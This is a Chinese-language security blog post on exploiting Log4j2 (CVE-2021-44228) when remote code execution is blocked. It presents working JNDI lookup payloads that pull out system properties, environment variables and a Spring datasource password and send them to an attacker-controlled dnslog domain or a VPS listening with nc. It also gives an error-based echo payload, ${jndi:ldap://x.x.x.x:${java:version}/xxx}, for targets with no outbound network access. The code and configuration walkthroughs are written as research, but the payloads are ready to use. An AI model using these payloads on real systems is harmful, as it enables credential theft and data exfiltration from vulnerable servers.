浅谈Log4j2信息泄露与不出网回显

0x00 介绍

本文核心是探讨：由于各种情况（RASP和SecurityManager等）导致无法RCE时候如何利用Log4j2

最近在赛博回忆录看到很多大佬提出Log4j2的利用姿势，本文也是参考各位大佬（比如浅蓝大佬）的成果做个总结

昨天看到P师傅凌晨三点还在研究Log4j2在ES中的利用，P牛指出：

ElasticSearch利用Java的SecurityManager安全机制来防御文件操作和Socket操作，所以无法正常连接远程服务器

这种情况也说明了研究Log4j2非RCE利用方式的必要性

信息泄露需要两个关键点

• 如何获取泄露的信息

• 如何带出来泄露的信息

解决

• 获取：利用${}和其他各种Lookup

• 带出：利用dnslog或直接dns协议

0x01 嵌套标签

参考Payload

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

Log4j2是在substitute方法中递归解析${}表达式，所以可以利用这种嵌套标签，从内到外获取${}中的内容，然后分配给对应的Lookup做解析，获得信息后通过Dnslog带出

借用木头师傅的图片展示效果

0x02 Sys与Env

之所以专门提到这两个Lookup是因为他们之中通常包含着关键信息

信息来自于System.getProperty()和System.getenv()

具体能获取哪些信息可以参考某位师傅的仓库：https://github.com/jas502n/Log4j2-CVE-2021-44228

0x03 Bundle

在浅蓝师傅的文章中提到的一种特殊Lookup

源码的BundleLookup核心内容如下

public String lookup(final LogEvent event, final String key) {
  ...
   final String bundleName = keys[0];
   final String bundleKey = keys[1];
  ...
   return ResourceBundle.getBundle(bundleName).getString(bundleKey);
}

在通常情况下这个ResourceBundle被用来做国际化，网站通常会给一段表述的内容翻译成多种语言

在SpringBoot下可能会获取到关键信息，将会比Sys和Env更严重

但这种情况略显鸡肋，需要手动排除SpringBoot自带的日志依赖并加入Log4j2的依赖（这种情况可能不多）

<dependency>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter</artifactId>
   <exclusions>
       <exclusion>
           <groupId>org.springframework.boot</groupId>
           <artifactId>spring-boot-starter-logging</artifactId>
       </exclusion>
   </exclusions>
</dependency>
<dependency>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

通过${bundle:application:spring.datasource.password}可以直接拿到数据库密码

如果不需要手动排除默认日志依赖即可获取信息，那么这将会是严重的漏洞，但目前的情况不算很严重

嵌入标签即可带到Dnslog

0x04 DNS

DNS协议是属于JNDI协议的，所以我们也可以利用DNS协议来带一些信息

使用logg.error("${jndi:dns://xxxxx:8090/${java:version}}");

在自己的VPS上nc -luvvp 8090即可收到信息（参考木头师傅图片）

0x05 不出网回显

很多群都在讨论Log4j2不出网的利用，主要参考浅蓝师傅给出的思路

这是一种报错回显，在log整体流程中有下面这样一部，具体流程参考Log4j2分析文章

在tryCallAppender方法中catch了RuntimeException

private void tryCallAppender(final LogEvent event) {
   try {
       appender.append(event);
  } catch (final RuntimeException error) {
       handleAppenderError(event, error);
  } catch (final Exception error) {
       handleAppenderError(event, new AppenderLoggingException(error));
  }
}

如果配置了ignoreExceptions选项，就会直接抛出来

private void handleAppenderError(final LogEvent event, final RuntimeException ex) {
   appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);
   if (!appender.ignoreExceptions()) {
       throw ex;
  }
}

接下来就是制造RuntimeException

例如字符串转数字中有一个NumberFormatException异常，它父类的父类是RuntimeException

public class NumberFormatException extends IllegalArgumentException {}
public class IllegalArgumentException extends RuntimeException {}

JndiManager.lookup中name是protocal://host:port/path

其中port本该是int如果给它无法转int的字符串就会抛出这里的信息

又联想到${}是支持嵌套标签的，这里嵌入真正想要得到的结果，即可抛出执行结果

根据这个思路，成功在Tomcat项目中回显执行结果（例如这里的${java:version}）

能够回显的Payload是这样：${jndi:ldap://x.x.x.x:${java:version}/xxx}

浅蓝师傅的思路是来自于端口字符串强转int报错来回显

在log4j2.xml中开启配置：ignoreExceptions="false"

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
   <Appenders>
       <Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
           <PatternLayout pattern="%m%n"/>
       </Console>
   </Appenders>
   <Loggers>
       <Root level="error">
           <AppenderRef ref="STDOUT"/>
       </Root>
   </Loggers>
</Configuration>

在实际的环境中，有开启这个配置的概率，参考apache官方的描述

大致意思是在FailoverAppender情况下必须设置该选项为false

某些情况下开发者想让错误报出来便于调试，也会故意开启这个选项

ignoreExceptions:
The default is true, causing exceptions encountered while appending events to be internally logged and then ignored. When set to false exceptions will be propagated to the caller, instead. You must set this to false when wrapping this Appender in a FailoverAppender.

再Tomcat中使用Log4j2的配置文件需要修改web.xml

<listener>
   <listener-class>org.apache.logging.log4j.web.Log4jServletContextListener</listener-class>
</listener>

<filter>
   <filter-name>log4jServletFilter</filter-name>
   <filter-class>org.apache.logging.log4j.web.Log4jServletFilter</filter-class>
</filter>
<context-param>
   <param-name>log4jConfiguration</param-name>
   <param-value>file:///YOUR_LOG4J2.XML_PATH</param-value>
</context-param>
<filter-mapping>
   <filter-name>log4jServletFilter</filter-name>
   <url-pattern>/*</url-pattern>
   <dispatcher>REQUEST</dispatcher>
   <dispatcher>FORWARD</dispatcher>
   <dispatcher>INCLUDE</dispatcher>
   <dispatcher>ERROR</dispatcher>
   <dispatcher>ASYNC</dispatcher>
</filter-mapping>

来个Servlet即可触发

@WebServlet("/test")
public class DemoServlet extends HttpServlet {
   private static final Logger logger = LogManager.getLogger();
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       logger.error("${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}");
  }
}

0x06 参考

参考浅蓝师傅的文章：https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

参考天下大木头师傅的图片：https://github.com/KpLi0rn